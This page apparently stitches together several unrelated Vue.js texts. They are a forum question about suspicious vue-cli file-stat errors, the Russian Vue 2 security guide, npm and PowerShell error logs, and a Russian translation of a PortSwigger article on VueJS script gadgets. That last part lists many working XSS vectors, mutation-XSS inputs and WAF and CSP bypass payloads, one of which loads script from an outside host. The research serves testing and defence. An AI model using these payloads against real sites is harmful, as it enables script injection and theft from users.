Vue ошибка безопасности

I’m building an application with Vue.js. Suddenly, vue-cli has begun outputting errors that have me concerned that perhaps one or more of my dependencies has something nefarious in it.

When I run npm run serve (vue-cli serve), the command succeeds, but outputs several lines of error messages like the following:

(node:366423) UnhandledPromiseRejectionWarning: Error: ENOENT: no such file or directory, stat ‘/initrd.img’

It also fails to stat /home/jordan/.steampath, /initrd.img.old, /vmlinuz, and /vmlinuz.old.

It also sometimes outputs these lines when hot-reloading.

I’m concerned because it seems there should be ZERO reason for it to even try to stat kernel files or my steampath. It seems to be looking at things it shouldn’t need to (but is apparently being prevented from doing so).

Should I be concerned about security? Is this evidence that I’m using a vue or NPM plugin with nefarious code in it? Or is this a simple misconfiguration somewhere?

Here’s my package.json:

{
  "name": "pp10-client",
  "version": "0.1.0",
  "private": true,
  "scripts": {
    "serve": "vue-cli-service serve",
    "build": "vue-cli-service build",
    "lint": "vue-cli-service lint"
  },
  "dependencies": {
    "@sentry/browser": "^5.15.5",
    "@sentry/integrations": "^5.15.5",
    "@tinymce/tinymce-vue": "^2.1.0",
    "apexcharts": "^3.19.2",
    "axios": "^0.19.2",
    "blueimp-md5": "^2.16.0",
    "core-js": "^2.6.11",
    "filepond": "^4.13.6",
    "moment": "^2.26.0",
    "npm-cache": "^0.7.0",
    "pdfjs": "^2.3.7",
    "pdfjs-dist": "^2.3.200",
    "save": "^2.4.0",
    "sortablejs": "^1.10.2",
    "tinymce": "^5.3.0",
    "underscore": "^1.10.2",
    "v-calendar": "^1.0.8",
    "v-tooltip": "^2.0.2",
    "vue": "^2.6.11",
    "vue-apexcharts": "^1.5.3",
    "vue-color": "^2.7.1",
    "vue-filepond": "^5.1.3",
    "vue-js-modal": "^1.3.35",
    "vue-js-toggle-button": "^1.3.3",
    "vue-phone-number-input": "^1.1.9",
    "vue-router": "^3.2.0",
    "vue-stepper-component": "^1.0.0",
    "vue-tour": "^1.3.1",
    "vue-worker": "^1.2.1",
    "vuedraggable": "^2.23.2",
    "vuex": "^3.4.0"
  },
  "devDependencies": {
    "@vue/cli-plugin-babel": "^3.12.1",
    "@vue/cli-plugin-eslint": "^3.12.1",
    "@vue/cli-service": "^3.12.1",
    "babel-eslint": "^10.1.0",
    "eslint": "^5.16.0",
    "eslint-plugin-vue": "^5.2.3",
    "pug": "^2.0.4",
    "pug-plain-loader": "^1.0.0",
    "sass": "^1.26.5",
    "sass-loader": "^7.3.1",
    "stylus": "^0.54.7",
    "stylus-loader": "^3.0.2",
    "vue-template-compiler": "^2.6.11"
  }
}

EDIT: Solution:

  1. Removed nodejs and npm, deleted all associated folders, and reinstalled nodejs and npm by using nvm (node version manager). I chose the current version of node (14 as of this writing).
  2. Removed node_modules and package-lock.json within the project.
  3. Ran npm install (in project folder)
  4. Installed vue-cli globally: npm install -g @vue/cli
  5. When builds failed, followed prompts to install missing dependencies.
  6. FINALLY it worked.

Логотип Vue
Vue.js

  • Обучение

    • Документация

      • Руководство
      • API
      • Рекомендации
      • Примеры
      • Книга рецептов
    • Видео курсы

      • Vue Mastery

      • Vue School

  • Экосистема

    • Помощь

      • Форум
      • Чат
      • Митапы
    • Инструментарий

      • Инструменты разработчика
      • Vue CLI
      • Vue Loader
    • Официальные плагины

      • Vue Router
      • Vuex
      • Vue Server Renderer
    • Новости

      • Еженедельные новости
      • Roadmap
      • События
      • Twitter
      • Блог
      • Вакансии
      • Сообщество разработчиков
  • Команда
  • Ресурсы

    • Партнёры
    • Темы
    • Awesome Vue
    • Найти пакеты для Vue
  • Поддержать Vue

    • Единоразовые пожертвования
    • Повторяющиеся взносы
    • Магазин футболок
  • Переводы

    • English
    • 中文
    • 日本語
    • 한국어
    • Português
    • Français
    • Tiếng Việt
    • Español
    • Bahasa Indonesia

Эта документация для версий v2.x и ранее.
Для v3.x, документация на русском здесь.

Безопасность

Сообщение об уязвимости

При поступлении сообщения об уязвимости, её исправление сразу становится первоочередной задачей для нас. Сотрудник работающий на полную ставку, бросает всё, чтобы заняться ею. Чтобы сообщить об уязвимости, пожалуйста, отправьте сообщение на электронную почту security@vuejs.org.

Хотя новые уязвимости обнаруживаются редко, рекомендуем также всегда использовать последние версии Vue и его официальных библиотек для обеспечения максимальной безопасности вашего приложения.

Правило №1: Никогда не использовать ненадёжные шаблоны

Главное правило для безопасности при использовании Vue — никогда не использовать ненадёжное содержимое в качестве шаблона компонента. Это аналогично разрешению исполнения JavaScript в приложении — и даже хуже, потому что может привести к нарушению работы сервера, если код выполнится при серверном рендеринге. Пример такого использования:

new Vue({
el: '#app',
template: `<div>` + userProvidedString + `</div>` // НИКОГДА ТАК НЕ ДЕЛАЙТЕ
})

Шаблоны Vue компилируются в JavaScript, а выражения внутри шаблонов будут выполняться как часть процесса рендеринга. Несмотря на то, что выражения исполняются в определённом контексте рендеринга, из-за комплексности возможных сред выполнения, для такой инфраструктуры как Vue, нецелесообразно полностью защищать от потенциально вредоносного исполнения кода ввиду чрезмерных накладных расходов для производительности. Самый простой способ избежать этой категории проблем — убедиться, что содержимое шаблонов Vue всегда достоверно и полностью контролируется вами.

Что делает Vue для вашей защиты

HTML-содержимое

При использовании шаблонов или render-функций содержимое экранируется автоматически. Это значит, что для шаблона:

<h1>{{ userProvidedString }}</h1>

если userProvidedString содержит:

'<script>alert("hi")</script>'

то он будет экранирован в следующий HTML:

&lt;script&gt;alert(&quot;hi&quot;)&lt;/script&gt;

таким образом предотвращая внедрение вредоносного скрипта. Экранирование осуществляется с помощью нативного API браузера, такого как textContent, поэтому уязвимость возможна только в случае, если сам браузер уязвим.

Привязка атрибутов

Аналогичным образом, динамические привязки к атрибутам также автоматически экранируются. Это значит, что для шаблона:

<h1 v-bind:title="userProvidedString">
hello
</h1>

если userProvidedString содержит:

'" onclick="alert('hi')'

то он будет экранирован в следующий HTML:

&quot; onclick=&quot;alert('hi')

тем самым предотвращая преждевременное закрытие атрибута title для добавления нового, произвольного HTML. Экранирование выполняется с помощью нативного API браузера, такого как setAttribute, поэтому уязвимость возможна только в случае, если сам браузер уязвим.

Потенциальные опасности

Для любого веб-приложении возможность выполнения пользовательского контента без санитизации в формате HTML, CSS, или JavaScript является потенциально опасным, и этого следует избегать везде где только возможно. Однако бывают моменты, когда некоторый риск может быть приемлемым.

Например, сервисы такие как CodePen и JSFiddle позволяют выполнять пользовательский контент, но в таком контексте где это ожидается и изолируется внутри iframe. В тех случаях, когда важная функция по своей природе требует определённого уровня уязвимости, ваша команда должна взвесить необходимость этой функции с учётом наихудших сценариев, которые привнесёт её использование.

Внедрение HTML

Как сказано ранее, Vue автоматически экранирует HTML-содержимое, предотвращая случайное внедрение HTML в приложение. Однако в тех случаях, когда вы уверены в безопасности HTML, можно отображать HTML-содержимое в сыром виде:

  • Используя шаблон:

    <div v-html="userProvidedHtml"></div>
  • Используя render-функцию:

    h('div', {
    domProps: {
    innerHTML: this.userProvidedHtml
    }
    })
  • Используя render-функцию с JSX:

    <div domPropsInnerHTML={this.userProvidedHtml}></div>

Запомните, что предоставленный пользователем HTML никогда не может считаться безопасным на 100%, если не находится в изолированном iframe или в той части приложения, где только пользователь, написавший этот HTML, может получить к нему доступ. Кроме того, разрешать пользователям писать свои собственные шаблоны Vue может привнести аналогичные опасности.

Внедрение URL

В таком URL-адресе:

<a v-bind:href="userProvidedUrl">
Нажми на меня
</a>

Существует потенциальная проблема безопасности, если URL не был «санитизирован» для предотвращения выполнения JavaScript через javascript:. Есть библиотеки, как sanitize-url, которые могут помочь с этим, но несмотря на это:

Если вы когда-нибудь занимались санитизацией URL на фронтенде, то у вас уже есть проблема с безопасностью. URL-адреса, предоставляемые пользователем, всегда должны санитизироваться на бэкэнде, перед сохранением в базу данных. Тогда проблема будет решена для каждого клиента, который подключается к вашему API, в том числе нативные мобильные приложения. Также запомните, что использование санитизированных URL-адресов не гарантирует, что они ведут на безопасные ресурсы.

Внедрение стилей

Посмотрим на этот пример:

<a
v-bind:href="sanitizedUrl"
v-bind:style="userProvidedStyles"
>
Нажми на меня
</a>

предположим что sanitizedUrl был санитизирован и это действительно настоящий URL, а не JavaScript. Но используя userProvidedStyles, злоумышленники всё еще могут предоставить CSS для «click jack», т.е. стилизовать ссылку в виде прозрачного блока поверх кнопки «Входа в систему». В таком случае, если https://user-controlled-website.com/ куда ведёт ссылка, создан таким, чтобы визуально повторять на страницу авторизации вашего приложения, появляется возможность перехвата например логинов и паролей пользователей.

Аналогично можете представить себе, как разрешение пользователям определять содержимое элемента <style> создаст ещё большую уязвимость, предоставив полный контроль над стилями страницы. Поэтому Vue не стоит отрисовывать теги стилей внутри шаблонов, например так:

<style>{{ userProvidedStyles }}</style>

Чтобы полностью обезопасить пользователей от техники click jacking, рекомендуем разрешать полный контроль над CSS только внутри изолированного iframe. В качестве альтернативы, если всё-таки необходимо предоставить пользователю возможность настройки стилей рекомендуем использовать объектный синтаксис и позволять указывать только значения для конкретных свойств, которые безопасно изменять, например так:

<a
v-bind:href="sanitizedUrl"
v-bind:style="{
color: userProvidedColor,
background: userProvidedBackground
}"
>
Нажми на меня
</a>

Внедрение JavaScript

Мы настоятельно не рекомендуем отрисовку элементов <script> с помощью Vue, поскольку шаблоны и render-функции никогда не должны иметь в себе побочных эффектов (side effects). Но это не единственный способ для включения строк, которые будут расцениваться как JavaScript во время выполнения.

Каждый HTML-элемент может иметь атрибуты, значения которых принимают строки JavaScript, например onclick, onfocus, и onmouseenter. Привязка JavaScript предоставленного пользователем к любому из этих атрибутов является потенциальной угрозой безопасности, поэтому этого следует избегать.

Запомните, что предоставленный пользователем JavaScript никогда не может считаться безопасным на 100%, если он не находится в изолированном iframe или в части приложения, где только написавший его пользователь может когда-либо получить доступ к нему.

Иногда мы получаем сообщения об уязвимостях, что в шаблонах Vue возможно выполнение межсайтового скриптинга (XSS). В целом, мы не считаем такие случаи реальными уязвимостями, так как нет практического способа защиты разработчиков от двух сценариев, допускающих использование XSS:

  1. Разработчик явно указывает Vue отрисовать предоставленный пользователем, не-санитизированный контент в шаблонах Vue. По своей природе это небезопасно и у Vue нет возможности отслеживать это.

  2. Разработчик монтирует Vue на всю HTML-страницу, которая, как оказалось, содержит как контент отрисованный на сервере, так и предоставленный пользователем. Фундаментально эта проблема аналогична #1, но иногда разработчики могут сделать так, не осознавая этого. Подобное может привести к возможным уязвимостям, когда атакующий предоставляет HTML, который безопасен как обычный HTML, но небезопасен в качестве шаблона Vue. Лучше всего никогда не монтировать Vue на узлах, которые могут содержать контент предоставленный как сервером так и пользователем.

Лучшие практики

Главное правило заключается в том, что если разрешаете выполнение не-санитизированного пользовательского контента (как например HTML, JavaScript, или даже CSS), то открываетесь для атак. Этот совет остаётся действенным, независимо от того используется ли Vue, другой фреймворк или никакого вообще.

Кроме вышеизложенных рекомендаций из раздела потенциальных опасностей, рекомендуем также ознакомиться со следующими ресурсами:

  • HTML5 Security Cheat Sheet
  • OWASP’s Cross Site Scripting (XSS) Prevention Cheat Sheet

После изучения используйте полученные знания для проверки исходного кода зависимостей на наличие потенциально опасных мест, если они содержат сторонние компоненты или каким-либо иным образом влияют на то, что будет отрисовываться в DOM.

Координация с бэкэндом

Уязвимости безопасности HTTP, такие как подделка межсайтовых запросов (CSRF/XSRF) или внедрение межсайтовых скриптов (XSSI), в основном нацелены на бэкэнд, поэтому Vue тут мало чем может помочь. Тем не менее, лучше скоординировать действия с командой разработчиков бэкэнда, чтобы лучше узнать как следует взаимодействовать с API, например отправляя CSRF-токены при отправке форм.

Отрисовка на стороне сервера (SSR)

При использовании SSR могут возникнуть дополнительные проблемы с безопасностью, поэтому во избежание уязвимостей следуйте рекомендациям изложенным в документации по SSR.

Когда я ввожу команду vue, то оно пишет, что такой команды нет. При этом когда я просматриваю пакеты, которые у меня установлены, то cli там есть) В итоге у меня не получилось с ним ничего, и я установил vue через команду «npm init vue@latest». Я так понял, что это что-то немного другое, но всё получилось, и приложение запускается на 3000 сервере

Добавлено через 2 минуты
Когда я ввожу команду vue, то оно пишет, что такой команды нет, точнее вот это пишет:

Код

PS C:Usersadminmyproject> vue --version
vue : Не удается загрузить файл C:UsersadminAppDataRoamingnpmvue.ps1. Файл C:UsersadminAppDataRoamingnpmvue.ps1 не имеет 
цифровой подписи. Невозможно выполнить сценарий в указанной системе. Для получения дополнительных сведений о выполнении сценариев и н
астройке политики выполнения см. about_Execution_Policies по адресу https:/go.microsoft.com/fwlink/?LinkID=135170.
строка:1 знак:1
+ vue --version
+ ~~~
    + CategoryInfo          : Ошибка безопасности: (:) [], PSSecurityException
    + FullyQualifiedErrorId : UnauthorizedAccess
PS C:Usersadminmyproject>

И при этом, когда я просматриваю пакеты, которые у меня установлены, то cli там есть) В итоге у меня не получилось с ним ничего, и я установил vue через команду «npm init vue@latest». Я так понял, что это что-то немного другое, но всё получилось, и приложение запускается на 3000 сервере

╰─ npm install -g @vue/cli  ✔  10:43:37
npm WARN deprecated request@2.88.2: request has been deprecated, see request/request#3142
npm WARN deprecated mkdirp@0.5.3: Legacy versions of mkdirp are no longer supported. Please update to mkdirp 1.x. (Note that the API surface has changed to use Promises in 1.x.)
npm WARN deprecated core-js@2.6.11: core-js@<3 is no longer maintained and not recommended for usage due to the number of issues. Please, upgrade your dependencies to the actual version of core-js@3.
npm WARN checkPermissions Missing write access to /usr/local/lib/node_modules
npm ERR! code EACCES
npm ERR! syscall access
npm ERR! path /usr/local/lib/node_modules
npm ERR! errno -13
npm ERR! Error: EACCES: permission denied, access ‘/usr/local/lib/node_modules’
npm ERR! [Error: EACCES: permission denied, access ‘/usr/local/lib/node_modules’] {
npm ERR! stack: «Error: EACCES: permission denied, access ‘/usr/local/lib/node_modules'»,
npm ERR! errno: -13,
npm ERR! code: ‘EACCES’,
npm ERR! syscall: ‘access’,
npm ERR! path: ‘/usr/local/lib/node_modules’
npm ERR! }
npm ERR!
npm ERR! The operation was rejected by your operating system.
npm ERR! It is likely you do not have the permissions to access this file as the current user
npm ERR!
npm ERR! If you believe this might be a permissions issue, please double-check the
npm ERR! permissions of the file and its containing directories, or try running
npm ERR! the command again as root/Administrator.

npm ERR! A complete log of this run can be found in:
npm ERR! /Users/pro/.npm/_logs/2020-03-20T03_44_30_764Z-debug.log

Перевод: Gareth Heyes – Evading defences using VueJS script gadgets

Введение

Мы обнаружили, что популярный фреймворк JavaScript VueJS предлагает функции, имеющие серьезные последствия для безопасности веб-сайтов. Если вы столкнетесь с веб-приложением, использующим Vue, этот пост поможет вам определить специфичные для Vue векторы XSS атак.

В этой статье термин гаджет сценария – это любая дополнительная функция, созданная платформой, которая может вызвать выполнение JavaScript. Они могут быть на основе JavaScript или HTML. Гаджет скрипты часто полезны для обхода защиты, такой как WAF и CSP. С точки зрения разработчика также полезно знать все гаджеты сценариев, которые создает платформа или библиотека; эти знания могут помочь предотвратить XSS уязвимости при разрешении пользовательского ввода в ваших собственных веб-приложениях. В этом посте мы рассмотрим широкий спектр методов, от векторов на основе выражений до XSS с мутациями (mXSS).

Предупреждение

В этой статье много информации! Если вам интересно узнать о хакерских фреймворках, вы, вероятно, захотите прочитать все это целиком. Но если вы столкнулись с конкретным сценарием и вам просто нужен вектор для его решения, вы можете сразу перейти к недавно обновленному разделу VueJS в нашей шпаргалке по XSS.

В этом посте мы рассмотрим:

  • Директивы
  • Минимизация векторов
  • События
  • Мутации
  • Адаптация полезной нагрузки для VueJS 3
  • Teleport
  • Сценарии использования

Где все началось

Рассказывая о различных взломах VueJS, я, Lewis Ardern и PwnFunction решили создать статью для блога, чтобы рассказать о них более подробно. Нам было очень весело сотрудничать и придумывать несколько интересных векторов. Все началось с попытки уменьшить следующий вектор XSS VueJS (что такое уменьшение вектора будет описано ниже):

{{toString().constructor.constructor('alert(1)')()}}

Чтобы понять, как он его уменьшить, нам нужно было увидеть, как трансформируется наш вектор. Мы просмотрели исходный код VueJS и искали вызовы конструктора Function . Были случаи, когда конструктор Function был вызван, а созданная функция – нет. Мы пропустили эти экземпляры, потому что были уверены, что наш код трансформируется не в этом месте. В строке 11648 мы в конце концов нашли конструктор Function , который вызывал сгенерированную функцию:

return new Function(code)

Мы добавили точку останова в этой строке и обновили страницу. Затем мы проверили содержимое переменной кода и, конечно же, смогли увидеть наш вектор. Код находился внутри оператора with, за которым следовало выражение return . Следовательно, область выполняемого кода находилась в пределах объекта, указанного в операторе with. По сути, это означало, что не было глобальной функции alert(), но в области видимости with были функции VueJS, такие как _c, _v и _s.

Если мы используем эти функции, мы можем уменьшить размер нашего выражения. Конструктором этой функции будет конструктор Function, который позволяет нам выполнять код. Это означает, что мы можем уменьшить вектор до:

{{_c.constructor('alert(1)')()}}

Отладка VueJS

Прежде чем мы продолжим, вероятно, неплохо было бы быстро упоминуть инструменты отладки, которые мы использовали.

Vue Devtools: Официальное расширение браузера, которое можно использовать для отладки приложений, созданных с помощью VueJS.

Vue-template-compiler: Компилирует шаблоны для рендеринга функций, что помогает нам увидеть, как Vue представляет шаблоны внутри. Существует удобная онлайн-версия инструмента под названием template-explorer.

Время от времени мы также перезаписывали исходники VueJS, добавляя такие функции, как ведение журнала, чтобы мы могли видеть, что происходит внутри.

Директивы

Как и в других фреймворках, в VueJS есть директивы, которые облегчают нашу жизнь. Практически каждую директиву VueJS можно использовать как гаджет. Давайте посмотрим на пример.

Директива v-show

<p v-show="_c.constructor`alert(1)`()">

Это относительно простой фрагмент кода. Существует директива v-show, которая используется для отображения или скрытия элемента из модели DOM на основе логического условия. В данном случае условием является вектор атаки.

Тот же самый вектор может быть применен к другим директивам, включая v-forv-modelv-on etc.

Директива v-on

<x v-on:click='_b.constructor`alert(1)`()'>click</x>

Директива v-bind

<x v-bind:a='_b.constructor`alert(1)`()'>

Разнообразный характер этих гаджетов может помочь вам создать гибкие векторы, которые можно очень легко использовать для обхода WAF.

Минимизация векторов

Минимизация векторов – также известная как «code golfing» – означает поиск способов достижения того же результата с помощью как можно меньшего количества символов или байтов. Изначально мы предполагали, что кратчайший из возможных векторов будет выражением шаблона, а это означает, что нам нужно будет использовать 4 байта только для добавления необходимых фигурных скобок {{}}. Однако это предположение оказалось ошибочным.

Мы потратили много времени на отладку, изучали исходный код и документацию. Мы не смогли найти никаких способов сократить вектор с помощью шаблонов, поэтому начали искать теги.

Мы начали с 35 байтов и в конце концов поднялись по лестнице. Но по пути мы нашли несколько довольно интересных векторов, используя причуды парсера VueJS:

<x @[_b.constructor`alert(1)`()]> (35 bytes)
<x :[_b.constructor`alert(1)`()]>  (33 bytes)
<p v-=_c.constructor`alert(1)`()> (33 bytes)
<x #[_c.constructor`alert(1)`()]> (33 bytes)
<p :=_c.constructor`alert(1)`()> (32 bytes)

Но наиболее короткие по-прежнему были вектора шаблонов:

{{_c.constructor('alert(1)')()}}  (32 bytes)
{{_b.constructor`alert(1)`()}}    (30 bytes)

Попробовав бесчисленное количество способов code golfing, чтобы получить менее 30 байт, мы в конце концов наткнулись на Dynamic Components в Vue API.

Динамические компоненты – это, по сути, компоненты, которые можно заменить на другой компонент в более поздний момент времени. Это достигается за счет использования атрибута is в теге. Рассмотрим следующий пример:

<x v-bind:is="'script'" src="//14.rs" />

Это можно сократить до:

<x is=script src=//⑭.₨>

Теперь всего 23 байта! Это самый короткий вектор, который мы могли придумать для VueJS v2 за все время исследования.

События

Как и AngularJS, VueJS определяет специальный объект с именем $event, который ссылается на объект события в браузере. Используя этот объект $event, вы можете получить доступ к объекту окна браузера, что позволит вам вызывать все, что угодно:

<img src @error="e=$event.path;e[e.length-1].alert(1)">
<img src @error="e=$event.path.pop().alert(1)">

Мы определили, что @error будет оценивать выражение, потому что VueJS предлагает сокращенный синтаксис, который позволяет вам ставить префиксы для обработчиков событий, таких как error , или click  с помощью @ вместо использования директивы v-on. В документации также показано, что вы можете использовать переменную $event для доступа к исходному событию DOM.

Эти векторы работают благодаря специальному свойству path, которое Chrome определяет при выполнении события. Это свойство содержит массив объектов, вызвавших событие. Для нас важно то, что объект window всегда является последним элементом в этом массиве. Функция composedPath() генерирует аналогичный массив в других браузерах, что позволяет нам построить кроссбраузерный вектор следующим образом:

<img src @error="e=$event.composedPath().pop().alert(1)">

Затем мы начали искать способы уменьшение векторов на основе событий и заметили интересное поведение VueJS. Переписанный код, который генерирует VueJS, использует this и не использует строгий режим (strict mode). В результате при использовании функции this ссылается на объект window, что позволяет использовать вектор еще короче:

<img src @error=this.alert(1)>

Эту концепцию также можно продемонстрировать без использования события:

{{-function(){this.alert(1)}()}}

Поскольку внедренная функция наследует глобального объект window, находясь внутри функции, this указывает на объект window.

Нам удалось еще больше уменьшить наш вектор на основе событий, используя тег SVG и событие загрузки:

<svg @load=this.alert(1)> 

Сначала мы думали, что это самое маленькое из возможных. Но потом у нас возникла мысль – если VueJS анализирует эти особые события, возможно, он разрешает то, чего не делает обычный HTML. Конечно, есть:

<svg@load=this.alert(1)>

Silent sinks

По умолчанию, когда фреймворки, такие как AngularJS (версия 1) и VueJS, отображают страницу, они не выполняют досрочное завершение (ahead-of-time AoT). Эта особенность означает, что, если вы можете внедрять внутрь шаблона, который использует фреймворк, вы можете скрыть свои собственные произвольные полезные данные, которые будут выполнены.

Иногда это может вызывать проблемы, когда приложение было частично реорганизовано для использования новой платформы, но все еще содержит устаревший код, который полагается на дополнительные сторонние библиотеки. Хорошим примером этого является VueJS и JQuery. Библиотека JQuery предоставляет различные методы, такие как text(). Само по себе это относительно безопасно для XSS, потому что эта функция кодирует свой вывод. Однако, если вы объедините это с фреймворком, который использует синтаксис шаблонов в стиле Mustache, например {{}}, с методом, который выполняет только текстовые операции, например  $(‘#message’).text(userInput), это может привести к Silent sink. Это интересный вектор атаки, потому что вы вводите новую уязвимость в метод, который обычно считается безопасным. Например, в этой связке выполняется только вторая полезная нагрузка.

$('#message').text("'><script>alert(1)</script>'");
$('#message1').text("{{_c.constructor('alert(2)')()}}")

Mutation XSS

Затем мы начали изучать векторы мутации XSS (mXSS) и то, как мы могли бы использовать VueJS для их пременения. Традиционно векторы mXSS требуют модификации в DOM, чтобы мутировать; отраженный ввод (reflected input) обычно не изменяется, потому что DOM не изменяется после внедрения. Однако в случае VueJS выражения и HTML анализируются и впоследствии изменяются, что означает, что модификация DOM действительно происходит. В результате отраженный ввод, отфильтрованный фильтром HTML, может превратиться в mXSS!

Первая обнаруженная нами мутация была вызвана тем, как VueJS анализирует атрибуты. Если вы используете кавычки в имени атрибута, VueJS запутается, расшифровывает значение атрибута, а затем удаляет недопустимое имя атрибута. Это вызывает mXSS и отображает iframe:

На входе:

<x title"="&lt;iframe&Tab;onload&Tab;=alert(1)&gt;">

Output:

"="<iframe onload="alert(1)">"></iframe>

Это работало при ссылке на VueJS с относительного URL-адреса, но при использовании домена unpkg.com для обслуживания JS возвращалось 403, потому что сервер использует Cloudflare, который заблокировал запрос из-за вектора в реферере. Мы смогли обойти это с помощью небольшого обмана:

<a href="https://portswigger-labs.net/xss/vuejs.php?x=%3Cx%20title%22=%22%26lt;iframe%26Tab;onload%26Tab;=setTimeout(top.name)%26gt;%22%3E" target=alert(1337)>test</a>

Мы использовали html entities, чтобы обмануть Cloudflare WAF и разрешить событие onload, а затем использовали setTimeout(), который оценивает строку и передает ей имя окна. Позже мы выяснили, что можно упростить обход следующим образом:

<x title"="&lt;iframe&Tab;onload&Tab;=setTimeout(/alert(1)/.source)&gt;"> 

Мы также искали больше мутаций и обнаружили, что следующие примеры также мутировали:

<x < x="&lt;iframe onload=alert(0)&gt;">
<x = x="&lt;iframe onload=alert(0)&gt;">
<x ' x="&lt;iframe onload=alert(0)&gt;">

Дальнейшие эксперименты показали другое поведение mXSS. Обычно тег в теге шаблона не отображается. Однако оказывается, что VueJS удаляет тег <template> оставляя разметку внутри. Оставшаяся разметка будет отображена:

На входе:

<template><iframe></iframe></template>

Введите это в консоль инструментов разработчика:

document.body.innerHTML+=''

На выходе:

<iframe></iframe>

Когда VueJS удалял тег <template>, мы задавались вопросом, можем ли мы использовать его для мутации. Мы поместили тег <template> в другой и были удивлены, увидев эту мутацию:

На входе:

<xmp><<template></template>/xmp><<template></template>iframe></xmp>

Введите это в консоль инструментов разработчика:

document.body.innerHTML+=''

На выходе:

<xmp></xmp><iframe></xmp>

Мы также обнаружили, что <noscript> также будет видоизменяться при манипуляциях с DOM:

<noscript>&lt;/noscript&gt;&lt;iframe&gt;</noscript>

Введите это в консоль инструментов разработчика:

document.body.innerHTML+=''

То же самое касается и XMP.:

На входе:

<xmp>&lt;/xmp&gt;&lt;iframe&gt;</xmp>

Введите это в консоль инструментов разработчика:

document.body.innerHTML+=''

В конце концов мы обнаружили, что эти мутации также возможны с <noframes>, <noembed> и <iframe>. Это было интересно, но нам действительно нужен был способ вызвать мутацию через VueJS без каких-либо ручных манипуляций с DOM. В поисках мутации мы поняли, что VueJS изменяет HTML. Чтобы доказать это, мы придумали простой тест. Обычно, если вы помещаете тег в другой тег, будет отображаться только первый тег, потому что для второго не найдено закрывающее >. С другой стороны, VueJS фактически изменит и удалит за вас первый тег:

На входе:

<xyz<img/src onerror=alert(1)>>

На выходе:

<img src="" onerror="alert(1)">&gt;

Затем нам нужно было создать вектор, который бы обходил фильтр HTML, прежде чем стал опасным после мутации. После многих часов попыток мы обнаружили, что если вы используете несколько тегов SVG, вы можете вызвать изменение DOM с помощью VueJS. Это вызвало мутацию, превратив отраженную XSS в mXSS:

На входе:

<svg><svg><b><noscript>&lt;/noscript&gt;&lt;iframe&Tab;onload=alert(1)&gt;</noscript></b></svg>

На выходе:

<p><svg><svg></svg></svg><b><noscript></noscript><iframe onload="alert(1)"></iframe></b></p>

Наконец, вот еще один PoC, который мутирует и обходит Cloudflare WAF:

На входе:

<svg><svg><b><noscript>&lt;/noscript&gt;&lt;iframe&Tab;onload=setTimeout(/alert(1)/.source)&gt;</noscript></b></svg>

На выходе:

<svg><svg></svg></svg><b><noscript></noscript><iframe onload="setTimeout(/alert(1)/.source)"></iframe></b>

Мутации и CSP

Мы заметили, что мутации не работали, когда был включен CSP. Это произошло потому, что они содержали обычные обработчики событий DOM, которые были заблокированы CSP. Но потом у нас возникла мысль – а что, если мы внедрили мутировавший HTML со специальными событиями VueJS? Это будет отображаться VueJS, выполняя наш код и пользовательские обработчики событий, которые обходят CSP. Мы не были уверены, будет ли мутированный DOM выполнять эти обработчики, но, к нашему удовольствию, это произошло!

Сначала мы внедрили в вектор мутации изображение и использовали обработчик события VueJS @error. Когда DOM видоизменяется, изображение отображается вместе с обработчиком @error. Затем мы использовали специальный объект $event, чтобы получить ссылку на window и выполнить наш alert():

На входе:

<svg><svg><b><noscript>&lt;/noscript&gt;&lt;img/src/&Tab;@error=$event.path.pop().alert(1)&gt;</noscript></b></svg>

На выходе:

<p><svg><svg></svg></svg><b><noscript></noscript><img src=""></b></p>

В измененной модели DOM не отображается событие @error, но оно все равно выполняется. Вы можете увидеть это в следующем примере:

mXSS with CSP enabled

Векторы мутации из этого раздела также будут работать в версии 3..

Proof of concept

Адаптация полезной нагрузки для VueJS 3

Пока мы проводили это исследование, был выпущен VueJS 3, который сломал многие из обнаруженных нами векторов. Мы решили быстро взглянуть и посмотреть, сможем ли мы заставить их снова работать. В версии 3 изменилось много кода, например, конструктор Function переместился в строку 13035, а сокращенные версии функций VueJS, такие как _b, были удалены.

Добавив точку останова на 13055, мы проверили содержимое переменной кода. Похоже, что VueJS имеет аналогичные функции с версией 2; они просто более подробны с именами функций. Нам просто нужно было заменить короткую форму функции на более длинну:

{{_openBlock.constructor('alert(1)')()}}

В рамках выполняемого выражения доступно несколько различных функций:

{{_createBlock.constructor('alert(1)')()}}
{{_toDisplayString.constructor('alert(1)')()}}
{{_createVNode.constructor('alert(1)')()}}

Большинство векторов в этом посте можно заставить работать в v3, просто используя более подробную функцию:

<p v-show="_createBlock.constructor`alert(1)`()">

В некоторых случаях полезные данные не могут выполняться, например, при использовании следующего вектора:

<x @[_openBlock.constructor`alert(1)`()]>

Это не удается, потому что выражение преобразуется в нижний регистр VueJS, что приводит к попытке вызвать несуществующую функцию _objectblock … Чтобы обойти эту проблему, мы использовали функцию _capitalize в области:

<x @[_capitalize.constructor`alert(1)`()]>

События также предоставляют разные функции. В дополнение к объекту $event, который мы обсуждали ранее, есть также _withCtx и _resolveComponent. Последний вариант слишком длинный, но _withCtx красив и короток:

<x @click=_withCtx.constructor`alert(1)`()>click</x>

Использование $event также является удобным ярлыком:

<x @click=$event.view.alert(1)>click</x>

Code golfing в V3

Наши векторы теперь работают в v3, но они все еще довольно длинные. Мы искали более короткие имена функций и заметили, что есть переменная с именем _Vue, которая находится в текущей области. Мы передали эту переменную конструктору функции и использовали console.log() для проверки содержимого объекта:

{{_createBlock.constructor('x','console.log(x)')(_Vue)}}

Как и ожидалось, это была просто ссылка на глобальный Vue, но у объекта есть функция с именем h. Это красивое короткое имя функции, которое мы можем использовать, чтобы уменьшить вектор до:

{{_Vue.h.constructor`alert(1)`()}}

Пытаясь найти способы еще больше это уменьшить, мы начали с базового вектора и внедрили вызов конструктора Function . Но на этот раз вместо простого вызова alert() мы передали объект, который хотели проверить, нашей функции и использовали console.log() для проверки содержимого object/proxy. proxy– это специальный объект JavaScript, который позволяет нам перехватывать операции с проксируемым объектом. Например, операции get/set или вызовы функций. Vue использует proxy, поэтому они могут предоставлять функции / свойства выражениям, которые они используют в текущей области. Выражение, которое мы использовали, приведено ниже:

{{_Vue.h.constructor('x','console.log(x)')(this)}}

Это выведет объект в окно консоли. Если вы проверите свойство [[Target]] прокси, вы сможете увидеть потенциальные функции, которые вы можете использовать. Используя этот подход, мы выявили функции $nextTick, $watch, $forceUpdate и $emit. Используя самый короткий из них, мы смогли создать следующий вектор

{{$emit.constructor`alert(1)`()}}

Вы уже видели наш самый короткий вектор для VueJS v2:

<x is=script src=//14.rs>

